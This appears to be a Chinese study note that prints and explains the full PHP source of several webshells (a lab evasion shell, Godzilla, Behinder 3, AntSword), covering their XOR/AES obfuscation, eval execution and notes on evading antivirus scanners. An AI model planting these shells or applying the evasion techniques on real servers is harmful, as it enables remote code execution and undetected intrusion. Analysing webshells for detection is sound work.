Php Webshell
感觉除了了解webshell的免杀外,还要做的是去了解常用webshell工具,他们的马是怎么写的,流量是怎么走的,这里要具体到代码层面。
webshell分析
自定义马
这个免杀马是玄机靶场里的
<?php
$key = "password";
//ERsDHgEUC1hI
$fun = base64_decode($_GET['func']);
for($i=0;$i<strlen($fun);$i++){
$fun[$i] = $fun[$i]^$key[$i+1&7];
}
$a = "a";
$s = "s";
$c=$a.$s.$_GET["func2"];
$c($fun);
分析一下,func传递过来一个base64加密的字符串,然后逐位和上面的key进行异或运算,所以说这里的func是提前异或好的,webshell里的异或是一种decode,运算完成后,$a和$s加上get传过来的func2进行拼接,估计是组成assert,然后再进行 $a($b) 这样的命令执行。
静态查杀随便过
河马查杀没过
感觉这个河马在线查杀还是比较强的,测了一下,比较好用的免杀方法是==自定义请求头传参加上自定义加密函数==。
当然,上面的也属于自定义加密了。
哥斯拉
哥斯拉v4.0.1
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$pass='pass';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
if (isset($_POST[$pass])){
$data=encode(base64_decode($_POST[$pass]),$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){
$payload=encode($payload,$key);
}
eval($payload);
echo substr(md5($pass.$key),0,16);
echo base64_encode(encode(@run($data),$key));
echo substr(md5($pass.$key),16);
}else{
if (strpos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}
这些操作都是为了确保脚本可以无障碍地运行,并且不会暴露任何错误信息。
@session_start();
启动一个新的会话或恢复现有会话。
@set_time_limit(0);
将脚本的执行时间设置为无限制。
@error_reporting(0);
关闭所有错误报告。
加密函数这里,调用的地方还是很多的,不过第二个参数都是key
$K[$i+1&15]
是通过按位与操作将索引限制在 0 到 15 之间。之后再进行异或,当然了,这个过程可以是加密也可以是解密,反正都是进行异或。
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
这一部分是核心
首先解码一下post传递的$pass保存在data里,如果会话中没有载荷且解密后的数据中包含 "getBasicsInfo"
,将其加密后存储在会话中。
如果会话中存在 $payloadName
,则解密会话中的载荷。
如果载荷中不包含 "getBasicsInfo"
,则再次解密载荷。
使用 eval
执行解密后的载荷。
响应:
计算并输出 md5($pass . $key)
的前 16 位。
执行 @run($data)
并将结果加密后进行 Base64 编码,然后输出。
输出 md5($pass . $key)
的后 16 位。
if (isset($_POST[$pass])){
$data=encode(base64_decode($_POST[$pass]),$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){
$payload=encode($payload,$key);
}
eval($payload);
echo substr(md5($pass.$key),0,16);
echo base64_encode(encode(@run($data),$key));
echo substr(md5($pass.$key),16);
}else{
if (strpos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}
不过哥斯拉直出的马defender和360都能直接查出来
冰蝎
冰蝎3
<?php
@error_reporting(0);
session_start();
$key = "e10adc3949ba59ab";
$_SESSION['k'] = $key;
$f = 'file' . '_get' . '_contents';
$p = '|||||||||||' ^ chr(12) . chr(20) . chr(12) . chr(70) . chr(83) . chr(83) . chr(21) . chr(18) . chr(12) . chr(9) . chr(8);
$Hc6t7 = $f($p);
if (!extension_loaded('openssl')) {
$t = preg_filter('/\s+/', '', 'base 64 _ deco de');
$Hc6t7 = $t($Hc6t7 . "");
for ($i = 0; $i < strlen($Hc6t7); $i++) {
$new_key = $key[$i + 1&15];
$Hc6t7[$i] = $Hc6t7[$i] ^ $new_key;
}
} else {
$Hc6t7 = openssl_decrypt($Hc6t7, "AES128", $key);
}
$arr = explode('|', $Hc6t7);
$func = $arr[0];
$params = $arr[1];
class GJ6g3jy6{
public function __invoke($p){
@eval("/*Z217tUYR42*/" . $p . "");
}
}
@call_user_func/*Z217tUYR42*/(new GJ6g3jy6(), $params);
'|||||||||||' ^ chr(12)
是p,’|||||||||||’ ^ chr(12) . chr(20) . chr(12) . chr(70) . chr(83) . chr(83) . chr(21) . chr(18) . chr(12) . chr(9) . chr(8)连起来就是php://input
$Hc6t7 = $f($p);即file_get_contents(php://input)
之后对post传的数据进行解密,有openssl扩展就用它解密,没有就用自己的解密函数
最终得到$Hc6t7为解密后的字符
这个字符串传过来之前就做了类似序列化的操作,这里再进行处理,使用回调函数加上类的__invoke进行方法调用
蚁剑
<?php
class G9943840{ /*F9gM3X*/
public function __construct($x){
$c = str_rot13('ffreg'); /*F9gM3X*/
$a = ("!" ^ "@") . $c; /*F9gM3X*/
$a($x);
}
}
new G9943840($_REQUEST['123456']);
这个很简单,就是用了一个类的魔术方法,加了一些注释混淆,用了一个rot13解码,然后还是$a($b)形式来执行代码